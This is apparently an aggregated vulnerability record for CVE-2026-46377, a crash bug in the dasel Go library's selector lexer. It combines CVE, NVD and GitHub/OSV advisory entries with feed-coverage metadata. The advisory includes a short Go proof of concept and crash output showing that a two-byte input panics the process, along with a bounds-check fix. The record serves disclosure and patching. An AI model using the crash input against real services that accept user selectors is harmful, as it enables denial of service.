{"id":"CVE-2026-46377","revision":null,"records":[{"revision":"5aa9cabc4d5e493eb97272a2e6dd7b62","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46377","aliases":[],"title":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string","description":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or '\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.","state":0,"publishedAt":"2026-07-16T17:57:16.643+00:00","modifiedAt":"2026-07-16T18:21:45.505+00:00","affected":[{"ecosystem":"Vendor product","name":"dasel","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"TomWright\",\n                    \"product\": \"dasel\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 3.0.0, < 3.10.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq","https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c","https://github.com/TomWright/dasel/releases/tag/v3.10.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46377","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46377","identifiers":["CVE-2026-46377"]},"retained":false,"historicalAffected":[]},{"revision":"a05968ca0f5040c4b74f418b8faa1a76","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-46377","aliases":[],"title":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing b…","description":"Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the escape sequence handler in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go increments past a trailing backslash in a quoted string such as \"\\ or '\\ and then reads p.src[pos] without a bounds check, allowing attacker-controlled selector strings to trigger a Go index-out-of-range panic. This issue is fixed in version 3.10.1.","state":0,"publishedAt":"2026-07-16T19:16:46.127+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":6.2,"severity":"MEDIUM"}],"references":["https://github.com/TomWright/dasel/commit/5fc1172287df89860caf139b146007d7ed12178c","https://github.com/TomWright/dasel/releases/tag/v3.10.1","https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46377","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-129"],"productCriteria":[],"sourceDates":{"published":"2026-07-16T19:16:46.127","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46377","identifiers":["CVE-2026-46377"]},"retained":false,"historicalAffected":[]},{"revision":"5e6bc482cf414e00bd1356d45029e459","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-m5j3-4634-c2vq","aliases":["CVE-2026-46377","GO-2026-5491"],"title":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string","description":"### Summary\n\n`dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `\"\\` or `'\\`). A 2-byte input causes an immediate process crash via Go runtime panic.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194):\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    buf = append(buf, rune(p.src[pos]))  // line 193: no bounds check\n    pos++\n    continue\n}\n```\n\nWhen a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check.\n\nMinimal trigger: `\"\\` or `'\\` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"runtime/debug\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{`\"\\`, `'\\`} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tfunc() {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tfmt.Printf(\"PANIC: %v\\n\", r)\n\t\t\t\t\tdebug.PrintStack()\n\t\t\t\t}\n\t\t\t}()\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\ttokens, err := t.Tokenize()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error: %v\\n\", err)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"OK: %d tokens\\n\", len(tokens))\n\t\t\t}\n\t\t}()\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: \"\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n\nInput: '\\\nPANIC: runtime error: index out of range [2] with length 2\ngoroutine 1 [running]:\n...\ngithub.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)\n    .../selector/lexer/tokenize.go:193 +0x1c2c\n...\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nAdd a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings:\n\n```go\nif p.src[pos] == '\\\\' {\n    pos++\n    if pos >= p.srcLen {\n        return Token{}, &UnexpectedEOFError{Pos: pos}\n    }\n    buf = append(buf, rune(p.src[pos]))\n    pos++\n    continue\n}\n```","state":0,"publishedAt":"2026-05-19T20:08:12+00:00","modifiedAt":"2026-09-10T03:51:06.29566+00:00","affected":[{"ecosystem":"Go","name":"github.com/tomwright/dasel/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"},{"kind":"last_affected","version":"3.10.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq","https://github.com/TomWright/dasel"],"sourceUrl":"https://github.com/advisories/GHSA-m5j3-4634-c2vq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m5j3-4634-c2vq","identifiers":["GHSA-m5j3-4634-c2vq","CVE-2026-46377","GO-2026-5491"]},"retained":false,"historicalAffected":[]},{"revision":"0027c2154781428094cbc5cb1cbae26d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5491","aliases":["CVE-2026-46377","GHSA-m5j3-4634-c2vq"],"title":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string in github.com/tomwright/dasel","description":"Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string in github.com/tomwright/dasel","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:01:18.2607676+00:00","affected":[{"ecosystem":"Go","name":"github.com/tomwright/dasel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tomwright/dasel/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/tomwright/dasel/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/TomWright/dasel/security/advisories/GHSA-m5j3-4634-c2vq"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5491","license":"OSV · upstream source license applies","key":"osv:GO-2026-5491","identifiers":["GO-2026-5491","CVE-2026-46377","GHSA-m5j3-4634-c2vq"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T03:23:00.5555620+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T03:23:00.555562+00:00","lastSuccessAt":"2026-10-27T03:23:00.6986702+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.6986732+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-57af8b9cb8b3567e0ff1c465b55549984a63d39a842292251efe141cd38b38c5","complete":true,"records":414860,"lastAttemptAt":"2026-10-27T04:22:56.0335839+00:00","lastSuccessAt":"2026-10-27T03:22:59.8407535+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:22:59.8670088+00:00","snapshotPublishedAt":"2026-10-27T02:35:43+00:00","importing":true,"stagedRecords":88,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T03:23:28.43141+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T03:23:00.5555620+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T03:23:00.555562+00:00","lastSuccessAt":"2026-10-27T03:23:00.6994805+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.699481+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0359020e244b476eb2e837e8432b1f32","complete":false,"records":13416,"lastAttemptAt":"2026-10-27T03:23:26.5209764+00:00","lastSuccessAt":"2026-10-27T03:23:26.517+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:26.517+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-27T03:23:00.5062933+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.5062933+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T03:22:59.9290096+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:22:59.9290096+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-27T03:23:00.5277541+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.5277541+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2c2579bb03487537529e2b647fd2d9950cfc0fec1a9832dba33e322b8dcbe369","complete":true,"records":230812,"lastAttemptAt":"2026-10-27T03:23:00.4041305+00:00","lastSuccessAt":"2026-10-26T21:37:26.5810298+00:00","error":null,"lastVerifiedAt":"2026-10-27T03:23:00.4041305+00:00","snapshotPublishedAt":"2026-10-26T21:33:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}